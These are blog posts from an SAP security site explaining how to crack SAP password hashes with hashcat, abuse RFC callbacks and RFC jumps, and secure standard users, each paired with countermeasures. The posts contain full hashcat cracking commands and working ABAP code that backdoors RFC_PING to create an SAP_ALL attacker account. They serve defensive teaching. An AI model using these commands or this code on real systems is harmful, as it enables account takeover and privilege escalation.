Hacking – Page 2 – Saptechnicalguru.com

SAP password hash hacking Part II: SAP PASSCODE hash hacking

This blog series will explain the process of hacking SAP password hashes: also know as SAP password hacking. The process of hacking will be explained and appropriate countermeasures will be explained.

In this second blog we will continue with more complex attacks on the SAP password hashes and will also explain more preventive measures. Now we focus on the SAP PASSCODE hash.

For the first blog on attacking the SAP BCODE hash click here.

Questions that will be answered in this blog are:

How to attack the PASSCODE from the BCODE?
How does the hybrid mask attack mode work?
How does the combination attack mode work?
What more can I do to prevent a password attack?For follow up blog on hacking SAP PWDSALTEDHASH, click here.
For follow up blog on improving attack speed by applying rule-based attack, click here. And the blog on optimizing the attack. And the blog on extended word lists.

How to attack the PASSCODE from the BCODE?

In the previous blog we have seen how easy it is to get the passwords from the BCODE. The BCODE is capturing the first 8 characters of the password in capital mode. The other characters of the password are not stored in the BCODE, but in the full PASSCODE. If the password is length 8 or below, you can already logon with the found BCODE password.

Now lets assume company password policy is:

Minimum password length is 10
Minimum 1 digit, 1 letter upper case, 1 letter lower case, 1 special

Pretty safe you might think.

We will use the previous 5 guessed test users. Their passwords from BCODE were: PASSWORD, LETMEIN, WELCOME, ILOVEYOU, STARWARS. We don’t know exactly which letters in the passwords are uppercase and which ones are lowercase. But we can make educated guess here, which we store in notepad file:

As you can see these are logical variations. Most people use password as they type: First letter in upper case, rest in lower case.

Getting the PASSCODE from USR02 table

We use one of the many methods to get the PASSCODE hash strings from the USR02 table:

And we put this into notepad file with user name and $ for separator:

Hybrid mask attack

What we will do is use a so called hybrid mask attack. This attack uses certain patterns.

The first pattern we will use is use the file with the BCODE guesses and at the end at a digit and special character.

To start the hacking process go to the CMD command prompt and proceed to the hashcat directory. Then key in this command:

hashcat64 -a 6 -m 7800 -p : --session=all -o "C:\HC\TestuserPassCodeHashes_found.txt" --outfile-format=3 --markov-disable --remove --gpu-temp-abort=80 "C:\HC\TestuserPassCodeHashes.txt" "C:\HC\BCODEinputfilewithguesses.txt" ?d?s

Explanation of the command: 7800 means the hashes are SAP PASSCODE. Output goes to _found file. Input is the TestuserPassCodeHashes file. The text fie with the guesses is then combined with ?d?s. This means take every entry from the file and add first a digit, then a special. This will then try for example Password1!, Password2!, ….Password1@, Password2@, etc.

Result (after 1 min or so):

Password found: Password1! for testuser1. The output is in the output file. And the found hash is removed from the input file.

Hybrid mask patterns

Some patterns that can be used:

?l = letter, small caps

?d = digit

?s = special

?a = all possible input characters

If we continue with our example: we now will not scan for digit special combination but for any 2 or more characters. To do so: replace in the previous command the ?d?s with ?a?a.

After that we can run with ?a?a?a to find any combination with 3 characters at the end. Runtime: only 4 minutes:

Only when we add ?a?a?a?a for 4 characters runtime starts to increase to 6 hours:

After these runs we have found: Welcome123! for testuser3, IloveYou@9 for testuser4 and Starwars99*& for testuser5.

Combination attack mode

The above method is fast and almost always guaranteed to work. But is will only work for short extensions. There is even a faster way, but this method does not have full guarantee.

What we will do is construct a file with popular password extensions after the main word:

real file is much, much longer…

This file we will combine with the file of the already found words from the BCODE part. The combination of two files is called combination attack.

To start the hacking process go to the CMD command prompt and go to the hashcat directory. Then key in this command:

hashcat64 -a 1 -m 7800 -p : --session=all -o "C:\HC\TestuserPassCodeHashes_found.txt" --outfile-format=3 --remove --gpu-temp-abort=80 --gpu-temp-retain=70 "C:\HC\TestuserPassCodeHashes.txt" "C:\HC\BCODEinputfilewithguesses.txt" "C:\HC\Popular extensions.txt"

The attack mode 1 means combination attack to combine the two files.

After running this mode the Testuser2 password pops up: Letmein2018).

And yes: years in passwords are pretty popular.

End result

End result after all the different attacks:

And it really didn’t take long time. One overnight session is sufficient.

The real live sequence of cracking would be to start with the popular extensions to remove the quick wins. Then time can be spent on the hybrid mask attack: this attack goes faster when there is less input.

Preventive measures

Preventive measure 1: forbid simple password parts

By filling table USR40 you can forbid simple password parts to be used. Think about filling this table with words like:

Your company name
password
welcome
letmein
The current year
All the full names of the months (january, etc)
….

For more inspiration see list of most used passwords on Wikipedia.

Preventive measure 2: forbid display access to password tables

Forbid access to password tables. The hashes are stored in tables protected by the SPWD object. Don’t grant read access with S_TABU_DIS authorization object to this table group. Check via SUIM who currently has access and restrict it to only people you think really need it.

More information on the access protection can be found in OSS note 1484692.

Next blog

The next blog will explain on hacking PWDSALTEDHASH.

SAP password hacking Part I: SAP BCODE hash hacking

Questions that will be answered are:

Where are SAP password hashes stored?
Which software do I need to install for hacking the password hash?
How does the brute force method work?
How does the simple 10k most used password list attack work?

For follow up blog on hacking SAP PASSCODE, click here.

For follow up blog on hacking SAP PWDSALTEDHASH, click here.

For follow up blogs:

Improving attack speed by applying rule-based attack, click here.
blog on optimizing the attack.
blog on extended word lists

SAP password hashes

SAP has 3 main password hashes:

SAP BCODE (oldest one and very weak): not to be used any more
SAP PASSCODE (less old, stronger than BCODE, but still weak): not to be used any more
SAP PWDSALTEDHASH (newest, strongest)

New SAP installations only use the newest method by default. Older system still might have stored older versions.

From user password to hash

When a users password is set initially or is changed is it hashed and stored in 2 tables:

USR02, which contains the current password
USRPWDHISTORY, which contains the history of the passwords

Older systems or wrongly configured systems store all the 3 password types mentioned above.

To start the password attack you need to get the user ID’s and hashes from the USR02 table.

Methods for getting this data (and many more):

SE11/SE16N table display
Write simple ABAP program
Database access on low level (HANA, Oracle, etc)
…. more creative methods….

For this weeks example we will use a couple of test users. The first 5 users are given simple passwords. The 6th user is given a fully random password.

The attack: from hash back to password

When you have the hashes all of the rest is now outside of the SAP system.

First step is to download a password cracking tool. A very good one is Hashcat.

Warning: this software might be considered as real hacking tool comparable to possessing burglary tools. Either only use on private laptop or after agreement of your local company security team.

Hashcat is based on GPU power and not CPU power. This means the speed of cracking depends on the quality and speed of your graphical card(s). Modern graphics card can have up to 4000 cores. Hashcat is written intelligently to use these 4000 cores via parallel processing or multiple cards.

Download the software from the site and unzip it on your local PC.

Hashcat requires for cracking BCODES the following format per line:

<<USERID>>$<<BCODE HASH>>

For the example above this results into the following file:

The brute force method

Let’s start by making a file with only TESTUSER6. This is stored in the file TestuserBcodeHashes.txt.

To start the hacking process go to the CMD command prompt, and proceed to the hashcat directory. Then key in this command:

hashcat64 -a 3 -m 7700 -p : --session=all -o "C:\HC\TestuserBcodeHashes_found.txt" --outfile-format=3 --markov-disable --remove --gpu-temp-abort=80 "C:\HC\TestuserBcodeHashes.txt"

Long command, but some part are simpler: -a 3 means brute force, -m 7700 means hashes are SAP BCODE hashes, file output and output, and very important the command to abort if the GPU temperature exceeds 80 degrees Celsius.

For full help options: go to the Hashcat website or key in Hashcat64 –help.

Result of this command is following screen:

The brute force attack will use some common pattern, but as you can see per pattern it takes about 16 hours (faster GPU means less time).

Guessing speed is at 57.000 tries per second, which is about 5 billion tries per day. Having a password with 8 random characters (26 letters, 10 digits, 33 specials) would take 69*69*69*69*69*69*69*69 = 513.000 billion options, meaning it would take 100.000 days.

Pretty good you would say. But nobody uses the brute force method.

Attacking with 10.000 most commonly used password list

People tend to user more simpler and more repetitive passwords. See wikipedia for most common and 10.000 most common used passwords. For full list read this blog.

You can download the file 10.000 most common here: 10k most common

Again we start now Hashcat tool, but now with different command and we will use the file with all the 6 hashes:

 -a 6 -m 7700 -p : --session=all -o "C:\HC\TestuserBcodeHashes_found.txt" --outfile-format=3 --markov-disable --remove --gpu-temp-abort=80 "C:\HC\TestuserBcodeHashes.txt" "C:\HC\10k most common.txt"

Attack mode (wordlist) is chosen and we have given the 10k most common text file as wordlist input.

Result:

Recovered passwords: 5 out of 6 in about 0 seconds!

TESTUSER1$D1FD06BD3B0744D9:PASSWORD
TESTUSER2$93D7C1E614C14B85:LETMEIN
TESTUSER3$EE3DAC02B26F87D5:WELCOME
TESTUSER4$C8172A9B5BFC09F6:ILOVEYOU
TESTUSER5$9157294124B1EAA4:STARWARS

You now can logon with these passwords.

This means that we can decrypt the password way much faster than the theoretical example from previous chapter.

How to protect yourself from password hash attacks?

Prevention 1: set password complexity

Set the password complexity rules to at least 1:

login/min_password_digits
login/min_password_letters
login/min_password_lowercase
login/min_password_uppercase
login/min_password_specials

If you have only letters, then the guesses for most users will be 26*26*26*26*26*26*26*26 = 208 billion only. By filtering out the hardly used q and x, it could even be 110 billion only.

Prevention 2: disallow the old hashes

Set parameter login/password_compliance_to_current_policy to 1 to forbid the old passwords to be used (in old systems this might require some testing before it is done in productive system, and changes of old passwords that are there for very long time).

Prevention 3: clean up the old hashes

Use program CLEANUP_PASSWORD_HASH_VALUES to clean up the old hashes (see OSS note 2845609 – How to find user name with legacy hash values when executing report CLEANUP_PASSWORD_HASH_VALUES for detailed manual):

After checking, start the actual cleanup.

More information on program CLEANUP_PASSWORD_HASH_VALUE can be found in OSS note 2845609 – How to find user name with legacy hash values when executing report CLEANUP_PASSWORD_HASH_VALUES.

Prevention 4: instructions to basis and authorization team to use the password generator for initial passwords

When generating new password: do use the password generator button. This will generate very complex password. Do use it.

Also you should make it known to basis and authorization team not to use simple and repetitive passwords like Welcome-2018 or Passw0rd! Soon you will see a pattern and can already guess new users passwords that they will select. Tell them to use the password generator.

Prevention 5: increase hash strength

You can increase the hash strength. This will make the attack last longer, since it simply takes more computing time to try stronger hashes. Read more in this blog.

Next blog

The next blog will explain on the hacking the SAP PASSCODE.

RFC callback hacking

This blog explains about RFC callback hacking.

When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.

This blog will explain you following:

How can a hacker exploit this RFC callback weakness?
How to make the RFC callback secure?
What is the difference between RFC callback simulation and intervention?
What to do in case of a valid use of RFC callback?

RFC callback hacking in action

What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.

If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.

In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.

Code snippet of modified RFC_PING:

Call module to create user on destination ‘BACK’ and set the password.
Assign the privilege SAP_ALL (highest available privilege)

 DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
 DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
 DATA: ZLV_BAPIPWD TYPE XUNCODE.
 DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
 DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
 DATA: ZLS_BAPIPROF TYPE BAPIPROF.
 DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
 
   ZLV_BAPIBNAME = 'ATTACKER'.
   ZLS_BAPILOGOND-USTYP = 'A'.
   ZLV_BAPIPWD = 'Welcome_in1!'.
   ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
 
   CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
     EXPORTING
       USERNAME                      = ZLV_BAPIBNAME
       LOGONDATA                     = ZLS_BAPILOGOND
       PASSWORD                      = ZLV_BAPIPWD
       ADDRESS                       = ZLS_BAPIADDR3.
 
 ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
 APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
 
 CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
   EXPORTING
     USERNAME       = ZLV_BAPIBNAME
   TABLES
     PROFILES       = ZLT_BAPIPROF
     RETURN         = ZLT_BAPIRET2.

If the admin executes the ping towards the compromised system he will see this screen:

The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).

End result on target system: ATTACKER user created by ADMIN user.

With the privileges:

This is one example. There are many different creative ways in which a callback RFC can be misused.

Detection of the RFC callbacks

RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.

Audit log trace for the above action looks as follows:

How to make the RFC callback secure?

The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.

rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.

rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog). This setting is still insecure!

It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).

Make sure in the audit log, that the simulation is captured:

Simulate for a while, and the generate the white list (or positive list):

rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:

Callback positive lists

In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.

If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.

Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.

If you have spaces in the RFC, or by accident add a space as well, it can also give issues. Apply OSS note 2941068 – sm59/Callback whitelist input validation missing to fix this issue.

A callback can be seen as ST22 dump CALL_FUNCTION_BACK_REJECTED: see OSS note 2981184 – What to do in case of CALL_FUNCTION_BACK_REJECTED short dump.

OSS notes

Explanation notes:

Bug fix notes:

Known positive callback: SAP CUA

SAP CUA (central user administration) uses a callback to fetch profiles. In your CUA system per RFC to remote child CUA system you have to set the following positive callback:

(SUSR_ZBV_GET_REMOTE_PROFILES and SUSR_ZBV_SEND_PROFILES)

Known positive callback: SAP screen painter RFC EU_SCRP_WN32

In the screen painter RFC EU_SCRP_WN32 add the following list of modules (see OSS note 2251931 – Runtime error CALLBACK_REJECTED_BY_WHITELIST in graphical Screen Painter):

RS_SCRP_GF_PROCESS_640 RFC_GET_FUNCTION_INTERFACE

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RBUILDINFO

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RELEMTABLE

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RICONS

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RKEYS

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RKEYTEXTS

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RMESSAGES

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RPROPTABLE

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RSTATUS_40

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RTEXTS

RS_SCRP_GF_PROCESS_640 RS_SCRP_GF_RDDICFIELDS

The screen painter is hardly used nowadays at all. Normally developer use this tool only on development system.

Known positive callback: remote ATC scenario

See OSS note 3084103 – Analyze reference check variants for RFC callbacks.

Known random callback issue: transport related callback calls

Some cases around transports are know. For example with system copies and refreshes. An RFC callback dump on module TRINT_PROGRESS_INDICATOR might occur on RFC destination BACK. In the dump you will find the real RFC (type TCP/IP) destination with variable LV_TP_DESTINATION. Regeneration is needed. Follow the instructions of OSS note 3356141 – CALLBACK_REJECTED_BY_WHITELIST when showing transport orders buffer.

SAP system hacking using RFC jump

This blog will explain the SAP system hacking using RFC jump method. It will show the simplicity of the hack, and tell you what to do in preventing this method to be used on your SAP system.

Question that will be answered:

How does the RFC jump SAP system hack work?
How do I check all my RFC’s for this weakness?
What can I do to prevent this hack from happening on my system?

RFC jump hack background

SAP uses RFC connections between SAP systems to send and received business data. For example the BI system will pull data from the ECC system via an RFC connection. The SAP solution manager system is fed from the ECC system via an RFC connection. Or a SAP netweaver gateway system serving SAP FIORI tiles.

In the RFC setup the system admin will have to set the connection details and its logon method. The logon methods can be:

Current user via logon screen
Current user via trust logon screen
Fixed user ID: dialog user ID or background user ID

The first method with logon screen will prompt for user ID and password and is not useful for hacking.

The trusted connection will check the rights in the other SAP system using your own user ID and privileges.

The RFC’s with fixed user ID’s will use the user ID and privileges of the user ID in the RFC connection and also using password entered by the admin. So you don’t even need to know the password…..

3 methods of misusing the RCF jump

3 methods of misusing the RFC jump will be explained. All of the scenario’s start from a already compromised system.

You have gained access to an SAP system, which in first instance is less important. For example by using standard SAP passwords (see blog on this topic).

1. Using the weakness to jump from one system to another: named dialog users in RFC

Now you start to scan the RFC’s of this server in SM59.

You notice that there is an RFC to another system which has the user ID and password of the system admin. You now simply click the remote logon button and you jump to the other system.

You are logged on now into this system with the user ID and privileges of this other user ID. From this system you can even jump further.

This way you could go from a development to productive server. Or from a BI to an ECC server. Or from Solution manager to ECC productive server.

2. Using the weakness to jump from one system to another: named background users in RFC

The jump will not work if the user ID in the RFC is a background user ID. One example here is the ALEREMOTE user in ECC, which is used by the BI system to extract data from ECC. Since this user has to pull a lot of data and is needing a lot of privileges this user ID is sometimes given SAP_ALL privileges.

If this is the case the hacker can still misuse this RFC. In the hacked system he goes to transaction SE37 and creates a test function module sequence consisting of 2 calls: BAPI_USER_CHANGE and BAPI_TRANSACTION_COMMIT.

The first call will have the input to change user ID ALEREMOTE user type from B (background) to type A (dialog). The commit is needed to actually confirm and push the change to the database. Once the sequence is setup the hacker will use the test function to fire the sequence. In the testing the hacker will put in the RFC with the ALEREMOTE user. Now this sequence will be fired with the privileges of the ALEREMOTE user (it has SAP_ALL). So it will then itself change its own user type remotely…. After this is done the dialog jump will work from the remote system and the hacker comes into the system with user ALEREMOTE and the attached SAP_ALL rights.

3. Using the weakness to jump from one system to another: trusted RFC’s

If you have taken over one system and you see a trusted RFC towards another system this can be misused for hacking.

But you need extra information. If you know the user ID of the admin in the system target, set up the user ID in the system already taken over, or if already there reset password. Then logon in the taken over system with the admin user ID. Goto SM59 to the trusted connection. Click remote logon and you jump to the other system without having to logon, but with the user ID and privileges of the admin.

For setup of trusted RFC’s read this blog.

How to detect the jumps which are misused?

The complexity in detection is not to detect the jumps itself, because there is also good use of the jumps (via the trusted RFC’s), but to detect the misused jumps. This is hardly possible.

Detection can be done for the user changes executed by background users. Detection could be done with tracking the terminal ID suddenly switching user ID.

The SAP audit log can help you find traces to what has happened as detective after the fact method. But it will not help you detect or prevent misuse.

How to scan your RFC’s for potential misuse?

SAP provides a program to check RFC’s for weak settings: RSRFCCHK.

Running this program will leave system log messages: 2724967 - Program CL_SAIS_ Reports Security Breach notification when running program RSRFCCHK

If you start the program select all the destinations and optionally the connection test to see if the connections work at all.

The result will give you a list of potentially dangerous RFC connections and the user ID’s used.

This you can use as a work list for checking.

Read more on RFC security checking in this blog.

Apply note 3283474 – Adjustment of authorization for program RSRFCCHK to upgrade security of program RSRFCCHK itself.

Protection measures

Protection is possible by a series of actions (a single action will not be sufficient):

Access restriction. Restriction of access to SU01 user management and SM59 RFC setup. Not only on main systems, but also on connected trusted systems.
Remove SAP_ALL and user rights from background and RFC users.
At least yearly scan systems for wrongly setup RFC’s and delete them.
Instruct basis team never to put in their own account into an RFC connection.

The most though misunderstanding is with some security and control teams themselves. They heavily underestimate the danger of the trusted connections. They come with statements like “we focus on production only”, or “that system is not part of our compliance XYZ framework check”.

Basic golden principle:
The trusted system must have same protection level and control measures as the system it is connected to.

More RFC hacking: RFC callback hack

Next to the RFC attack methods above there is also the RFC callback hack, which uses the back direction to execute malicious actions. Read more in this blog.

SAP standard users

This blog post will explain the process for dealing with SAP standard users.

Questions that will be addressed:

Why are there SAP standard users?
Which users are there?
How to check if the standard SAP users are dealt with properly to avoid security issues and how to solve them?
How to detect if somebody is trying to logon with standard SAP user?
How to deal with standard SAP user DDIC in client 000?
How to deal with standard SAP user TMSADM

Why SAP standard users and which ones are there?

After initial installation of SAP there is only one way to login: is via the standard user SAP* with password PASS. After logon, create your own user and disable user SAP* by giving it a new password and lock it. SAP* can be there without profiles and roles. Also set parameter login/no_automatic_user_sapstar to 1 to avoid automatic re-creation of SAP*. SAP has new way of dealing with superuser SAP*; read this dedicated blog.

To set up the SAP ABAP system code the standard user DDIC is used. This user compiles the ABAP code.

For software deployments the initial setup must be done by user TMSADM (TMS = transport management system, ADM = admin).

For historical reasons also the EARLYWATCH and SAPCPIC user are still present.

How to check standard SAP user settings and how to solve issues?

SAP delivers standard program RSUSR003 to check for correct setting of these users ID’s and passwords. Transaction code for this program is also RSUSR003.

End result should look like:

If any item has a red or yellow color you should act: link to solution.

How to check if standard users are being unlocked?

You can use SAP Focused Run to have a custom metric to detect when a standard user is unlocked. You can configure an alert mail to be sent 5 minutes after the unlock happens. More information on this: read this blog.

How to detect if somebody is trying to hack a system by trying to log in using standard SAP users?

There are 2 main ways of finding if standard SAP users are being tested for system access:

Somebody runs report RSUSR003 (whitebox method)
Somebody tries to use the users and passwords from outside (blackbox method)

Detection of running RSUSR003

Two ways of detection of running RSUSR003:

SM21 system log will show similar entry:

In this log you can see the user of the program and by double clicking you can also retrieve the terminal ID from which the user ran the program.

More background in OSS note 2248319 – Program RSUSR003 reports “Security violation” in SM21 system log.

SM20 audit log can show similar entry (provided the start of report is configured properly):

Also here you can see the user who ran it and from which terminal.

The exact scope of program RSUSR003 is described in OSS note 2481566 – Functional scope of report RSUSR003.

Bug fix note: 3224200 – SUIM | RSUSR003 displays lock by unsuccessful logon.

Detection of black box standard SAP user testing

SM20 audit log can show similar entry (incorrect logon attempts configured properly):

User DDIC in client 000

In many blogs there is a lot of discussion on how to deal with DDIC in client 000. There is no one size fits all approach here.

SAP standard recommendation is:

“To make sure everything runs smoothly, give DDIC the authorizations for SAP_ALL during an installation or upgrade and then lock it afterwards. Only unlock it when necessary.”

This is fine for smaller systems on which little maintenance is ongoing. If more frequently support packs, upgrades and/or installations are happening this is more annoying.

The main issue is when a system is using third party solutions which are provided by external parties in transports. When DDIC is locked in client 000 and the foreign transport is imported, this import will not finish and continues forever until DDIC is unlocked.

That is why on systems with more maintenance, and less strict regimes (business without SoX and FDA, etc), DDIC will not be locked on client 000 and the password is known to basis team. DDIC should be locked in all the other clients.

DDIC unlock in main client is needed only when implementing a TCI based OSS note (see blog on OSS notes).

Background OSS note on DDIC: 1998382 – User DDIC for Transport Activities.

Also read this note: 3035580 – Job RDDIMPDP running as DDIC to replace DDIC with different job user for import dispatchers.

User TMSADM

User TMSADM needs to exist in client 000. It can be deleted in all the other clients (including the main data client). Background on SAP help.

Password change instructions for user TMSADM: 1568362 – TMSADM password change.

User SAPSYS

SAPSYS is used for OS jobs, CCMS monitoring, running the background processing scheduler, and performing other system-internal operations (most of them executed as so-called AutoABAP programs). Don’t lock SAPSYS otherwise you get big issues.

Reference OSS note: 3195498 – SAPSYS user modifying background jobs.

Cross client hacking

See this blog on how a hacker can jump from one client to the other.

Client 001 and 006 deletion

To reduce the attack surface, you can also delete clients 001 and 066. See this blog for more background information.

Standard users in the Early Watch

Standard users are also listed in the early watch. Sometimes with a little different logic. The explanation of standard users in the EWA is kept in OSS note 1610103 – EWA : Default Password of Standard Users – Detailed overview for T/S.